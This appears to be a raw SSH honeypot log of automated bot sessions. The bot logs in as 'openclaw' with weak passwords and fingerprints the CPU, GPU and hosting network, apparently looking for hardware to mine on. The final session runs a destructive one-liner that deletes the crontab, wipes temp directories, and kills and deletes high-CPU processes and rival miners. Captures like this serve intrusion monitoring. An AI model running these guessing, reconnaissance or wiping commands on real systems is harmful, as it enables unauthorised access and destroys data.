{"id":"1a4cbc16-debe-4494-9959-82e1c887e98f","name":"windswept-muted-quail","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.217","src_port":55260,"username":"openclaw","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":240,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-27T03:11:32.893396+00:00","ended_at":"2026-08-27T03:11:38.891322+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":864,"events":[{"seq":1,"at":"2026-08-27T03:10:46.130455+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T03:10:49.061203+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-27T03:10:49.260736+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-27T03:10:52.199824+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-27T03:10:52.661404+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-27T03:10:57.039336+00:00","kind":"output","latency_ms":null,"data":"7 days,  0:01"},{"seq":7,"at":"2026-08-27T03:10:57.328080+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-27T03:11:00.248479+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-27T03:11:00.608236+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-27T03:11:04.926926+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-27T03:11:05.652914+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-27T03:11:09.810639+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-27T03:11:10.020697+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-27T03:11:13.568923+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-27T03:11:13.809296+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-27T03:11:17.910237+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-27T03:11:18.091135+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-27T03:11:23.934049+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-27T03:11:24.133627+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-27T03:11:26.962410+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-27T03:11:27.167935+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-27T03:11:32.544207+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-27T03:11:32.894334+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-27T03:11:38.467743+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"openclaw","password":"1234","method":"password","accepted":true,"tier":"other"}]}
{"id":"8dcea0dd-e88c-4267-ad6a-372dd770a409","name":"umber-frosty-harrier","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.217","src_port":53190,"username":"openclaw","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":195,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-27T03:07:00.621794+00:00","ended_at":"2026-08-27T03:07:05.715719+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":864,"events":[{"seq":1,"at":"2026-08-27T03:06:10.356409+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T03:06:14.500347+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-27T03:06:14.699664+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-27T03:06:20.390769+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-27T03:06:20.661858+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-27T03:06:26.341426+00:00","kind":"output","latency_ms":null,"data":"6 days, 23:56"},{"seq":7,"at":"2026-08-27T03:06:26.506899+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-27T03:06:31.064532+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-27T03:06:31.248661+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-27T03:06:35.009533+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-27T03:06:35.409233+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-27T03:06:39.240588+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-27T03:06:39.417851+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-27T03:06:42.029838+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-27T03:06:42.674586+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-27T03:06:47.571604+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-27T03:06:47.741834+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-27T03:06:51.005519+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-27T03:06:51.284111+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-27T03:06:56.727364+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-27T03:06:56.906322+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-27T03:07:00.426541+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-27T03:07:00.622624+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-27T03:07:05.630514+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"openclaw","password":"1","method":"password","accepted":true,"tier":"other"}]}
{"id":"9c9a4ba0-471a-40c8-9ca8-7b1c540c0ecb","name":"early-feral-hyrax","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.217","src_port":40892,"username":"openclaw","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":320,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-27T03:01:27.904038+00:00","ended_at":"2026-08-27T03:01:33.195123+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":864,"events":[{"seq":1,"at":"2026-08-27T03:00:35.443735+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T03:00:39.955234+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-27T03:00:40.275897+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-27T03:00:45.135815+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-27T03:00:45.309599+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-27T03:00:48.379448+00:00","kind":"output","latency_ms":null,"data":"6 days, 23:50"},{"seq":7,"at":"2026-08-27T03:00:48.603996+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-27T03:00:52.226414+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-27T03:00:52.780322+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-27T03:00:58.333599+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-27T03:00:58.511318+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-27T03:01:04.413617+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-27T03:01:04.581165+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-27T03:01:08.768870+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-27T03:01:08.983093+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-27T03:01:12.670099+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-27T03:01:13.053539+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-27T03:01:16.597440+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-27T03:01:17.092809+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-27T03:01:22.538157+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-27T03:01:23.432396+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-27T03:01:27.579591+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-27T03:01:27.904434+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-27T03:01:33.099283+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"openclaw","password":"openclaw","method":"password","accepted":true,"tier":"other"}]}
{"id":"8369b979-e2bc-406f-ba13-a362fdcb2702","name":"sturdy-windswept-bullfinch","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.217","src_port":38080,"username":"openclaw","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":274,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-27T02:56:43.001771+00:00","ended_at":"2026-08-27T02:56:48.399780+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":864,"events":[{"seq":1,"at":"2026-08-27T02:55:55.681430+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T02:55:59.565583+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-27T02:55:59.814437+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-27T02:56:05.393642+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-27T02:56:05.815387+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-27T02:56:10.305610+00:00","kind":"output","latency_ms":null,"data":"6 days, 23:46"},{"seq":7,"at":"2026-08-27T02:56:10.474579+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-27T02:56:15.262586+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-27T02:56:15.484183+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-27T02:56:19.899040+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-27T02:56:20.142490+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-27T02:56:23.864113+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-27T02:56:24.742809+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-27T02:56:27.375550+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-27T02:56:27.724840+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-27T02:56:32.777995+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-27T02:56:33.051717+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-27T02:56:36.203631+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-27T02:56:36.925954+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-27T02:56:39.448486+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-27T02:56:39.635330+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-27T02:56:42.433290+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-27T02:56:43.002567+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-27T02:56:48.177946+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"openclaw","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"f45b68fe-843c-4220-9df8-c0a0a5af5a06","name":"restless-stoic-parakeet","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.217","src_port":50562,"username":"openclaw","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":264,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-27T02:47:26.776359+00:00","ended_at":"2026-08-27T02:47:31.829262+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":864,"events":[{"seq":1,"at":"2026-08-27T02:46:34.072806+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T02:46:38.533043+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-27T02:46:39.007590+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-27T02:46:44.738627+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-27T02:46:45.074681+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-27T02:46:51.037577+00:00","kind":"output","latency_ms":null,"data":"6 days, 23:36"},{"seq":7,"at":"2026-08-27T02:46:51.240644+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-27T02:46:54.482284+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-27T02:46:54.999789+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-27T02:46:59.739369+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-27T02:46:59.932078+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-27T02:47:04.277335+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-27T02:47:04.870208+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-27T02:47:10.084542+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-27T02:47:10.312822+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-27T02:47:12.983532+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-27T02:47:13.187030+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-27T02:47:16.594101+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-27T02:47:16.797107+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-27T02:47:20.515677+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-27T02:47:20.780448+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-27T02:47:26.433486+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-27T02:47:26.778166+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-27T02:47:31.745577+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"openclaw","password":"12345","method":"password","accepted":true,"tier":"other"}]}
{"id":"0aa0de09-acd7-433a-a46e-703e79e11629","name":"vivid-calm-zebu","protocol":"ssh","channel_kind":null,"src_ip":"91.92.40.217","src_port":41372,"username":"openclaw","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T02:19:45.508322+00:00","ended_at":"2026-08-27T02:19:48.723185+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"openclaw","password":"123","method":"password","accepted":true,"tier":"other"}]}
{"id":"589a392f-534d-4504-b099-f3a2b06b15e1","name":"autumn-diligent-marten","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.217","src_port":57510,"username":"openclaw","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":424,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-27T02:19:40.428570+00:00","ended_at":"2026-08-27T02:19:48.721557+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1656,"events":[{"seq":1,"at":"2026-08-27T02:18:38.057635+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T02:18:42.805085+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-27T02:18:43.228957+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-27T02:18:48.451378+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-27T02:18:48.651706+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-27T02:18:53.114157+00:00","kind":"output","latency_ms":null,"data":"6 days, 23:09"},{"seq":7,"at":"2026-08-27T02:18:53.279993+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-27T02:18:58.879236+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-27T02:18:59.302769+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-27T02:19:03.603084+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-27T02:19:04.108277+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-27T02:19:06.943965+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-27T02:19:07.162789+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-27T02:19:11.359131+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-27T02:19:11.836392+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-27T02:19:14.733172+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-27T02:19:15.364636+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-27T02:19:19.837333+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-27T02:19:20.266637+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-27T02:19:25.946849+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-27T02:19:26.112269+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-27T02:19:30.727903+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-27T02:19:31.195416+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-27T02:19:36.095607+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-27T02:19:36.465605+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-27T02:19:40.429090+00:00","kind":"input","latency_ms":null,"data":"echo 123 > /tmp/d.log"}],"credentials":[{"username":"openclaw","password":"123","method":"password","accepted":true,"tier":"other"}]}
